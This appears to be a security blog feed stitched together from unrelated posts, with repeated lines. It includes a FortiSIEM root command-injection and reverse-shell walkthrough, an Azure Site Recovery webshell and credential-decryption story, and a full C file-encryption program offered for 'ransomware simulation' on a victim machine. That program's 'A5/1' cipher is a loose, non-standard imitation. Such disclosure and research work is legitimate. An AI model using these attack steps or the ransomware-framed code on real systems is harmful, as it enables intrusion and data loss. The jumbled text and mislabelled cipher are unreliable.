VSA Top Innovation Award 2024
VSA Top Innovation Award 2024
The post VSA Top Innovation Award 2024 appeared first on Horizon3.ai.
VSA Top Innovation Award 2024
The post VSA Top Innovation Award 2024 appeared first on Horizon3.ai.
VSA Channel Program of the Year 2024
The post VSA Channel Program of the Year 2024 appeared first on Horizon3.ai.
﷽
Hello, cybersecurity enthusiasts and white hackers!
Alhamdulillah, I’m pleased to announce that my book Malware Development For Ethical Hackers is available for pre-order on Amazon.
I dedicate this book to my wife, Laura, my son, Yerzhan, and my little princess, Munira, and I thank them for their inspiration, support, and patience.
I know that many of my readers have been waiting for this book for a long time, and many of us understand that perhaps I could not give comprehensive and exhaustive information on how to develop malware, but I am trying to my best for sharing my knowledge with community.
If you want to learn more about any area of science or technology, you will have to do your own research and work. There isn’t a single book that will answer all of your questions about the things that interest you.
I would be glad to receive feedback and am ready for dialogue. There will be many posts about the book in the near future as it is about to be published.
I thank the entire team at Packt without whom this book would look different.
I also want to thank all the employees of the Butterfly Effect Company and MSSP Research Lab.
I will be very happy if this book helps at least one person to gain knowledge and learn the science of cybersecurity. The book is mostly practice oriented.
Malware Development For Ethical Hackers
Twitter post
Linkedin post
All examples are practical cases for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
In early 2023, given some early success in auditing Fortinet appliances, I continued the effort and landed upon the Fortinet FortiSIEM. Several issues were discovered during this audit that ultimately lead to unauthenticated remote code execution in the context of the root user. The vulnerabilities were assigned CVE-2023-34992 with a CVSS3.0 score of 10.0 given that the access allowed reading of secrets for integrated systems, allowing for pivoting into those systems.
The FortiSIEM allows customers to do many of the expected functions of a typical SIEM solution such as log collection, correlation, automated response, and remediation. It also allows for simple and complex deployments ranging from a standalone appliance to scaled out solutions for enterprises and MSPs.
In a FortiSIEM deployment, there are four types of roles that a system can have:
● Supervisor – for smaller deployments this is all that’s needed, and supervises other roles
● Worker – handles all the data coming from Collectors in larger environments
● Collector – used to scale data collection from various geographically separated network
environments, potentially behind firewalls
● Manager – can be used to monitor and manage multiple FortiSIEM instances
For the purposes of this research, I deployed an all-in-one architecture where the appliance contains all of the functionality within the Supervisor role. For more information about FortiSIEM key concepts refer to the documentation.
One of the first things we do when auditing an appliance is to inspect the listening services given you have some time of shell access. Starting with the most obvious service, the web service, we see that it listens of tcp/443 and the proxy configuration routes traffic to an internal service listening on tcp/8080.
Figure 2. httpd.conf proxying traffic
We find that the backend web service is deployed via Glassfish, a Java framework similar to Tomcat in that it provides a simple way to deploy Java applications as WAR files. We find the WAR file that backs the service, unpack it, and decompile it. Inspecting some of the unauthenticated attack surface, we happen upon the LicenseUploadServlet.class
.
Figure 4. LicenseUploadServlet doPost method
We follow the code into this.notify()
, where we eventually observe it calling sendCommand()
, which interestingly sends a custom binary message with our input to the port tcp/7900.
We find that tcp/7900 hosts the phMonitor service, which listens on all interfaces, not just localhost.
Figure 6. phMonitor on tcp/7900
And it is also a compiled C++ binary.
Now that we’ve identified a pretty interesting attack surface, let’s build a client to interact with it in the same way the web service does. The message format is a pretty simple combination of:
Constructing the LicenseUpload message in little-endian format and sending it over an SSL wrapped socket will succeed in communicating with the service. Re-implementing the client messaging protocol in Python looks like the following:
Figure 7. phMonitor Python client
As a test that the client works, we send a command type of 29, mapped to handleProvisionServer
, and can observe in the logs located at /opt/phoenix/log/phoenix.log
that the message was delivered.
Figure 8. phMonitor client successful message sent
The phMonitor service marshals incoming requests to their appropriate function handlers based on the type of command sent in the API request. Each handler processes the sent payload data in their own ways, some expecting formatted strings, some expecting XML.
Inside phMonitor, at the function phMonitorProcess::initEventHandler()
, every command handler is mapped to an integer, which is passed in the command message. Security Issue #1 is that all of these handlers are exposed and available for any remote client to invoke without any authentication. There are several dozen handlers exposed in initEventHandler()
, exposing much of the administrative functionality of the appliance ranging from getting and setting Collector passwords, getting and setting service passwords, initiating reverse SSH tunnels with remote collectors, and much more.
Figure 9. Sampling of handlers exposed
Given the vast amount of attack surface available unauthenticated within the phMonitor service, we begin with the easiest vulnerability classes. Tracing the calls between these handlers and calls to system()
we land of the handler handleStorageRequest()
, mapped to command type 81. On line 201, the handler expects the payload to be XML data and parses it.
Figure 10. handleStorageRequest() expecting XML payload
Later, we see that it attempts to extract the server_ip
and mount_point
values from the XML payload.
Further down on line 511, the handler formats a string with the parsed server_ip
and mount_point
values, which are user controlled.
Figure 12. Format string with user-controlled data
Finally, on line 556, the handler calls do_system_cancellable()
, which is a wrapper for system()
, with the user controlled command string.
Figure 13. do_system_cancellable command injection
Exploiting this issue is straightforward, we construct an XML payload that contains a malicious string to be interpreted, such as a reverse shell.
Figure 14. Reverse shell as root
Our proof of concept exploit can be found on our GitHub.
The logs in /opt/phoenix/logs/phoenix.logs
verbosely log the contents of messages received for the phMonitor service. Below is an example log when exploiting the system:
Figure 15. phoenix.logs contain payload contents
5 May 2023 – Initial report
10 October 2023 – Command injection vulnerability fixed
22 February 2024 – RingZer0 BOOTSTRAP conference talk disclosing some of these details
20 May 2024 – This blog
Horizon3.ai clients and free-trial users alike can run a NodeZero operation to determine the exposure and exploitability of this issue.
The post CVE-2023-34992: Fortinet FortiSIEM Command Injection Deep-Dive appeared first on Horizon3.ai.
In this webinar. Horizon3.ai cybersecurity expert Brad Hong covers our new Rapid Response service, including:
– How this service enables you to preemptively defend against high-profile threats
– How our Attack Team develops its tailored threat intelligence for NodeZero users
– Best practices for monitoring the progress of nascent threats and getting ahead of mass exploitation
The post Outpace Emerging Cyber Threats with Horizon3.ai Rapid Response appeared first on Horizon3.ai.
Secure your Unix, Windows, & Web environments. OffSec's hands-on training empowers system admins to combat cyber threats.
The post Infrastructure Hardening and Proactive Defense: The System Administrator’s Toolkit appeared first on OffSec.
Today on Cyber Work, we’re talking about last September’s breach of the MGM Grand Casino chain, an attack that lead to a week of tech failure, downtime and over a hundred million dollars in lost revenue. The attackers were able to get in via a point that my guest, Aaron Painter of Nametag Inc, said is a common point of failure: the request for a password and credential reset from the helpdesk, and the ever-frustrating “security questions” approach to making sure you are who you are. Nametag is built to create an alternative to security questions and go beyond MFA to create a method of verification that is even resistant to AI Deepfake attempts!
This conversation goes into lots of interesting spaces, including career mapping, the importance of diverse design teams and the benefits of security awareness training, plus you get to learn about an amazing piece of emergent tech!
0:00 - A new method of online verification
3:15 - First getting into cybersecurity and computers
7:03 - Aaron Painter's work experiences
10:37 - Learning cybersecurity around the world
11:32 - Starting Nametag
16:25 - Average work week as Nametag CEO
19:10 - Cybersecurity learning methods
21:15 - The MGM cyberattack explained
26:07 - MGM fail safes bad actors surpassed
29:26 - Security awareness training
31:35 - Are data breaches the new normal
34:05 - How Nametag safeguards online data
37:59 - AI deepfakes
40:19 - Using Nametag
42:20 - How to learn AI deep fake defense
44:14 - Design choices in digital identity
45:54 - Different backgrounds in cybersecurity
46:59 - Aaron Painter's favorite part of his work
48:01 - Best cybersecurity career advice
49:00 - Learn more about Nametag
50:06 - Outro
– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.
Adversary Academy recently completed a long-term red team (assume breach) assessment for a large restaurant franchise. While performing the assessment an Azure Site Recovery server was found to be an attractive target in the environment. Part of our service offering is our targeted vulnerability research (TVR) program. The challenge I’ve seen with most pentest or redteam providers is that there is typically a lack of vulnerability and exploit research capabilities. Meaning if there are not known vulnerabilities with public exploit code affecting a network or environment the pentest provider can't find exploitable systems. Pentest providers typically lack full-time exploit and vulnerability development capabilities. In order to address that issue we run a program that allows our researchers to spend time attacking interesting systems they’ve encountered on customer networks, long after the engagement is over… or in this case during an engagement.
Typically on a penetration test a tester's “spidey senses” will go off at some point when you encounter a system that just feels vulnerable, or impactful if it were to be vulnerable. Our spidey senses went off when we gained access to an Azure Site Recovery (ASR) server because there appeared to be a large number of services communicating both inbound and outbound to the server as well as traffic to the customer's Azure environment. Documentation revealed that when fully deployed ASR has rights to read and write virtual machines from on-site VMware or Hyper-v systems and upload them to the Azure cloud for cloud-to-cloud disaster recovery.
While performing the engagement the research phase began immediately and we discovered a number of interesting bugs on the SRM server after we gained access to it.
Beginning our research we found that Azure SRM is site disaster recovery for one Azure region to another region or physical to the cloud.
SRM can replicate on-premises hypervisors VMware, Hyper-V, physical servers (Windows and Linux), or Azure Stacks to Azure sites.
Basically, Microsoft said, “We will support anything other than AWS or GCP!”
As we started our research we found roughly 20 previous CVEs affecting Microsoft Azure SRM, most were EoP and most were found in 2022. Hopefully, we could find something new.
Our research mindset typically includes mapping out application behaviors and what could go wrong with misconfigurations, logic flaws, or historically problematic issues (in this case EoP).
We started by reviewing features, capabilities, and processes in Azure SRM and found that:
Once this behavior was documented we decided that the web server privileges might be important, and the WMI credentials stored in the local database were definitely valuable targets to begin attacking.
Reviewing files accessed on startup by the services showed us that a config file named amethyst is read on startup. Here was the first bug we found.
The amethyst config file contains the plaintext mysql DB root username and password, this allows us to interact with the local database as root.
Connecting to the mysql database we began to debug and monitor the mysql queries that were executed by the server. Here we found our attack target.
We found php code responsible for executing the query that decrypts and uses the credentials we want access to. The first roadblock encountered is that we are not able to read the Encryption.key file as a standard user.
After some research and failed attempts, we found a Solution!
If the process responsible for handling the php / mysql queries has access to the key, we must become the process.
As our standard user account on the server, we don’t have the SeImpersonatePrivilege, we don't have an admin account on the server either. So we needed to find a bug affecting the web server.
Further research allowed us to find a directory on the server where the web server / php code isn’t properly secured. We can write a webshell to this directory and “become” the web server process.
We then can use SEImpersonatePrivilege to read the encryption.key
The final challenge was overcoming some weird character-handling behavior by MySQL which can't handle the characters in the encryption.key inline, so store it as a variable to use the key and decrypt the admin credentials.
After discovering the bugs and disclosing the credentials used by SRM the team was able to access the Vsphere environment, took snapshots of the domain controllers, and performed offline attacks to recover Enterprise and Domain admin access. After exploiting the issues we reported the vulnerability to Microsoft and received recognition for CVE-2024–21364 with a patch becoming available several months later.
﷽
Hello, cybersecurity enthusiasts and white hackers!
In one of the previous posts I wrote about the A5/1 GSM encryption algorithm and how it affected the VirusTotal detection score.
At the moment of my current research on ransomware simulation, I decided to show file encryption and decryption logic using the A5/1 algorithm.
First of all, our encryption and decryption functions are the same:
void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
// initialization
unsigned int R1 = 0, R2 = 0, R3 = 0;
for (int i = 0; i < 64; i++) {
int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
R1 = (R1 << 1) | feedback;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
// encryption
for (int i = 0; i < msg_len; i++) {
int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
unsigned char key_byte = 0;
for (int j = 0; j < 8; j++) {
int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
key_byte |= bit << j;
R1 = (R1 << 1) | bit;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
out[i] = msg[i] ^ key_byte;
}
}
void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
// initialization
unsigned int R1 = 0, R2 = 0, R3 = 0;
for (int i = 0; i < 64; i++) {
int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
R1 = (R1 << 1) | feedback;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
// decryption
for (int i = 0; i < cipher_len; i++) {
int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
unsigned char key_byte = 0;
for (int j = 0; j < 8; j++) {
int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
key_byte |= bit << j;
R1 = (R1 << 1) | bit;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
out[i] = cipher[i] ^ key_byte;
}
}
The next piece of code implemented file encryption and decryption logic via previous functions:
void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
printf("error opening file.\n");
return;
}
LARGE_INTEGER fileSize;
GetFileSizeEx(ifh, &fileSize);
unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
DWORD bytesRead;
ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);
unsigned char keyData[A51_KEY_SIZE];
memcpy(keyData, key, A51_KEY_SIZE);
// calculate the padding size
size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;
// pad the file data
size_t paddedSize = fileSize.LowPart + paddingSize;
unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
memcpy(paddedData, fileData, fileSize.LowPart);
memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);
// encrypt the padded data
for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
}
// write the encrypted data to the output file
DWORD bw;
WriteFile(ofh, paddedData, paddedSize, &bw, NULL);
printf("a5/1 encryption successful\n");
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
free(paddedData);
}
void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
printf("error opening file.\n");
return;
}
LARGE_INTEGER fileSize;
GetFileSizeEx(ifh, &fileSize);
unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
DWORD bytesRead;
ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);
unsigned char keyData[A51_KEY_SIZE];
memcpy(keyData, key, A51_KEY_SIZE);
// decrypt the file data using A5/1 encryption
for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
}
// calculate the padding size
size_t paddingSize = fileData[fileSize.LowPart - 1];
// validate and remove padding
if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
size_t originalSize = fileSize.LowPart - paddingSize;
unsigned char* originalData = (unsigned char*)malloc(originalSize);
memcpy(originalData, fileData, originalSize);
// write the decrypted data to the output file
DWORD bw;
WriteFile(ofh, originalData, originalSize, &bw, NULL);
printf("a5/1 decryption successful\n");
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
free(originalData);
} else {
// invalid padding size, print an error message or handle it accordingly
printf("invalid padding size: %d\n", paddingSize);
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
}
}
As you can see, it operates on the data in blocks of A51_BLOCK_SIZE (8)
bytes and in case when file size is not a multiple of 8, just add padding logic for encrypted and decrypted data:
void add_padding(HANDLE fh) {
LARGE_INTEGER fs;
GetFileSizeEx(fh, &fs);
size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
if (paddingS != A51_BLOCK_SIZE) {
SetFilePointer(fh, 0, NULL, FILE_END);
for (size_t i = 0; i < paddingS; ++i) {
char paddingB = static_cast<char>(paddingS);
WriteFile(fh, &paddingB, 1, NULL, NULL);
}
}
}
void remove_padding(HANDLE fileHandle) {
LARGE_INTEGER fileSize;
GetFileSizeEx(fileHandle, &fileSize);
// determine the padding size
DWORD paddingSize;
SetFilePointer(fileHandle, -1, NULL, FILE_END);
ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);
// validate and remove padding
if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
// seek back to the beginning of the padding
SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);
// read and validate the entire padding
BYTE* padding = (BYTE*)malloc(paddingSize);
DWORD bytesRead;
if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
// check if the padding bytes are valid
for (size_t i = 0; i < paddingSize; ++i) {
if (padding[i] != static_cast<char>(paddingSize)) {
// invalid padding, print an error message or handle it accordingly
printf("invalid padding found in the file.\n");
free(padding);
return;
}
}
// truncate the file at the position of the last complete block
SetEndOfFile(fileHandle);
} else {
// error reading the padding bytes, print an error message or handle it accordingly
printf("error reading padding bytes from the file.\n");
}
free(padding);
} else {
// invalid padding size, print an error message or handle it accordingly
printf("invalid padding size: %d\n", paddingSize);
}
}
The full source code is looks like this hack.c
:
/*
* hack.c
* encrypt/decrypt file via GSM A5/1 algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/12/malware-cryptography-27.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))
#define A51_BLOCK_SIZE 8
#define A51_KEY_SIZE 8
void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
// initialization
unsigned int R1 = 0, R2 = 0, R3 = 0;
for (int i = 0; i < 64; i++) {
int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
R1 = (R1 << 1) | feedback;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
// encryption
for (int i = 0; i < msg_len; i++) {
int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
unsigned char key_byte = 0;
for (int j = 0; j < 8; j++) {
int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
key_byte |= bit << j;
R1 = (R1 << 1) | bit;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
out[i] = msg[i] ^ key_byte;
}
}
void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
// initialization
unsigned int R1 = 0, R2 = 0, R3 = 0;
for (int i = 0; i < 64; i++) {
int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
R1 = (R1 << 1) | feedback;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
// decryption
for (int i = 0; i < cipher_len; i++) {
int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
unsigned char key_byte = 0;
for (int j = 0; j < 8; j++) {
int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
key_byte |= bit << j;
R1 = (R1 << 1) | bit;
R2 = (R2 << 1) | ((R1 >> 8) & 1);
R3 = (R3 << 1) | ((R2 >> 10) & 1);
}
out[i] = cipher[i] ^ key_byte;
}
}
void add_padding(HANDLE fh) {
LARGE_INTEGER fs;
GetFileSizeEx(fh, &fs);
size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
if (paddingS != A51_BLOCK_SIZE) {
SetFilePointer(fh, 0, NULL, FILE_END);
for (size_t i = 0; i < paddingS; ++i) {
char paddingB = static_cast<char>(paddingS);
WriteFile(fh, &paddingB, 1, NULL, NULL);
}
}
}
void remove_padding(HANDLE fileHandle) {
LARGE_INTEGER fileSize;
GetFileSizeEx(fileHandle, &fileSize);
// determine the padding size
DWORD paddingSize;
SetFilePointer(fileHandle, -1, NULL, FILE_END);
ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);
// validate and remove padding
if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
// seek back to the beginning of the padding
SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);
// read and validate the entire padding
BYTE* padding = (BYTE*)malloc(paddingSize);
DWORD bytesRead;
if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
// check if the padding bytes are valid
for (size_t i = 0; i < paddingSize; ++i) {
if (padding[i] != static_cast<char>(paddingSize)) {
// invalid padding, print an error message or handle it accordingly
printf("invalid padding found in the file.\n");
free(padding);
return;
}
}
// truncate the file at the position of the last complete block
SetEndOfFile(fileHandle);
} else {
// error reading the padding bytes, print an error message or handle it accordingly
printf("error reading padding bytes from the file.\n");
}
free(padding);
} else {
// invalid padding size, print an error message or handle it accordingly
printf("invalid padding size: %d\n", paddingSize);
}
}
void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
printf("error opening file.\n");
return;
}
LARGE_INTEGER fileSize;
GetFileSizeEx(ifh, &fileSize);
unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
DWORD bytesRead;
ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);
unsigned char keyData[A51_KEY_SIZE];
memcpy(keyData, key, A51_KEY_SIZE);
// calculate the padding size
size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;
// pad the file data
size_t paddedSize = fileSize.LowPart + paddingSize;
unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
memcpy(paddedData, fileData, fileSize.LowPart);
memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);
// encrypt the padded data
for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
}
// write the encrypted data to the output file
DWORD bw;
WriteFile(ofh, paddedData, paddedSize, &bw, NULL);
printf("a5/1 encryption successful\n");
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
free(paddedData);
}
void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
printf("error opening file.\n");
return;
}
LARGE_INTEGER fileSize;
GetFileSizeEx(ifh, &fileSize);
unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
DWORD bytesRead;
ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);
unsigned char keyData[A51_KEY_SIZE];
memcpy(keyData, key, A51_KEY_SIZE);
// decrypt the file data using A5/1 encryption
for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
}
// calculate the padding size
size_t paddingSize = fileData[fileSize.LowPart - 1];
// validate and remove padding
if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
size_t originalSize = fileSize.LowPart - paddingSize;
unsigned char* originalData = (unsigned char*)malloc(originalSize);
memcpy(originalData, fileData, originalSize);
// write the decrypted data to the output file
DWORD bw;
WriteFile(ofh, originalData, originalSize, &bw, NULL);
printf("a5/1 decryption successful\n");
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
free(originalData);
} else {
// invalid padding size, print an error message or handle it accordingly
printf("invalid padding size: %d\n", paddingSize);
CloseHandle(ifh);
CloseHandle(ofh);
free(fileData);
}
}
int main() {
const char* inputFile = "Z:\\test.txt";
const char* outputFile = "Z:\\test.txt.a51";
const char* decryptedFile = "Z:\\test.txt.a51.decrypted";
const char* key = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
encrypt_file(inputFile, outputFile, key);
decrypt_file(outputFile, decryptedFile, key);
return 0;
}
As you can see, as usual, for test I just encrypt file test.txt
and decrypt it.
cat test.txt
Let’s see everything in action, compile our PoC code:
x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
and let’s say we have a test.txt
file in the Z:\\
path on the victim’s machine:
hexdump -C test.txt
Then just run our application on Windows 11 x64 machine:
.\hack.exe
Let’s check a decrypted and original files, for example via hexdump
command:
hexdump -C test.txt.a51.decrypted
As you can see our simple PoC is worked perfectly.
I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal and useful for adversary (ransomware) sumulation purposes.
A5/1
Malware AV/VM evasion part 14
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
Discover how crucial continuous and relevant training is for avoiding cyber threats and lowering cyber insurance premiums.
The post Cybersecurity Training and Cyber Insurance: Bridging the Gap with Continuous Improvement appeared first on OffSec.
Cybersecurity is paramount for the public safety sector as it safeguards critical infrastructure, sensitive data, and communication systems vital for emergency response, law enforcement, and national security. In an increasingly interconnected world, where digital technologies infiltrate every aspect of society, vulnerabilities in these systems can be exploited by malicious actors to disrupt emergency services, compromise sensitive information, or even endanger lives. A robust cybersecurity posture not only protects against potential cyber threats and attacks but also ensures the confidentiality, integrity, and availability (CIA) of essential services, thereby upholding resilience of public safety systems.
Specifically, 911 call centers, also known as Public Safety Answering Points (PSAPs), frequently draw the attention of cyber threat actors because of their pivotal function in emergency response, making them attractive targets for disruption and ransomware attacks capable of incapacitating essential services. Additionally, the sensitive information stored within PSAP networks and systems, including Personal Identifiable Information (PII) and Personal Health Information (PHI), present lucrative opportunities for data theft and exploitation.
To make a big impact worldwide in thwarting ransomware and other cyberattacks by making sophisticated cyber defense solutions with human supervision affordable to organizations worldwide.
In May 2023, a ransomware attack targeted the city of Dallas by the Royal Ransomware gang, leading to the shutdown of court systems and disruptions in 911 emergency services. The attack affected various city services, including the police department’s ability to access certain databases. The outage has also impacted Computer Aided Dispatch (CAD) systems, which are used by dispatchers and 911 operators to prioritize and record incident calls. While city officials assured that emergency calls were still being answered, the incident highlighted the significant impact cyberattacks can have on critical infrastructure and essential services.
In a recent interview with Brian Beckwith, Chief Technology Officer (CTO) at Intuitus, he explained that Intuitus “deals primarily in helping 911 call centers (PSAPs), and who those call centers support, to make sure their environments are secure.” Intuitus, a full-service cybersecurity and consulting solution with a 24/7 Security Operations Center (SOC), is the leading voice in cybersecurity for 911/NG911 PSAP organizations worldwide. Additionally, they participate in industry organizations such as National Emergency Number Association (NENA), Association of Public-Safety Communications Officials (APCO) international, and other 911/NG911 PSAP community members.
“When there is a cyberattack on a PSAP, there is the potential for loss of life due to the caller not being able to get through to the 911 call center. Our job is to prevent that situation. We specialize in knowing the cyber threat actor’s tactics, techniques, and procedures (TTPs) so we can protect organizations from those things.”
“With legacy 911 systems, moving to a more IP-based solution is opening up a new world for 911,” explains Brian. So, rewriting and iterating on NG911 cybersecurity regulations, policies, and guidelines is key to keeping pace with the evolving cyber threats and fortify cybersecurity defenses. According to CISA, “the 911 system requires stable, safe, and resilient communications” and pointed to two things that all PSAPs should do to improve their overall cybersecurity:
Cybersecurity risk assessments are crucial for PSAPs because they help identify potential vulnerabilities and weaknesses within their systems proactively, allowing them to prioritize resources and implement effective security measures to mitigate risks. Additionally, having robust cyber incident response and vulnerability response plans is essential, as they enable PSAPs security teams to respond swiftly and effectively to cyberattacks. Intuitus also offers its customers SOC as a Service with Managed Detection & Response (MDR) as a fully self-contained solution that can be rapidly deployed into the existing infrastructure.
In the context of cybersecurity risks assessments, we at Horizon3.ai have seen our customers implement a regular cadence of penetration (aka “pen”) testing to ensure that they are continuously assessing their infrastructure to stay ahead of cyber threats. In general, most facets of the public safety sector have yearly cyber risk assessment requirements. However, this infrequent assessment schedule means that any new threats introduced after the assessment won’t be identified or mitigated promptly, leaving the organization exposed to potential breaches or attacks.
“Most PSAPs only conduct a once-a-year pentest, and don’t do pentesting all the time.”
